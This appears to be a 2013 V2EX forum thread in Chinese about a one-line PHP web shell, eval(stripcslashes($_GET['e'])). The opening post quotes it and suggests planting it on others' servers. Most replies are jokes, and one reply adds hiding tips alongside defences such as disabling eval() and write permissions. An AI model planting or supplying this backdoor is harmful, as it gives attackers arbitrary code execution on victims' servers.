一句话的代码竟然有这么强的攻击性。对服务器来说是致命的。

V2EX = way to explore

V2EX 是一个关于分享和探索的地方

现在注册

已注册用户请登录

这是一个创建于 4773 天前的主题，其中的信息可能已经有所发展或是发生改变。

放到别人服务器，攻击性的大小就由你自己决定了。
<?php
eval(stripcslashes($_GET['e']));

http://www.oschina.net/code/snippet_173183_13710

我看了笑了~~~

6 条回复 • 1970-01-01 08:00:00 +08:00

for4

2013 年 1 月 2 日

笑点在哪里..~?

liyandong

2013 年 1 月 2 日 via Android

oschina评的论
@for4

tempdban

2013 年 1 月 2 日 via Android

确实啊写完楼都垮了

for4

2013 年 1 月 2 日

@liyandong 发现我太纯洁了, 完全没发现原来这个网页还有"下半身"...

enj0y

2013 年 1 月 2 日

更多的做法是将一句话混淆隐藏在宿主PHP或者其它文件里，接受到事先备好的电话号指令后释放出来。防不胜防啊！想禁一句话，最好的办法是禁eval()和使用外部储存服务，然后关闭本地WEB写权限。

至于OSC上面的，烧主板、堵厕所嘛的，全是恶搞。

enj0y

2013 年 1 月 2 日

@enj0y 字打错了， eval(last.post.replaceStr("电话号","好"));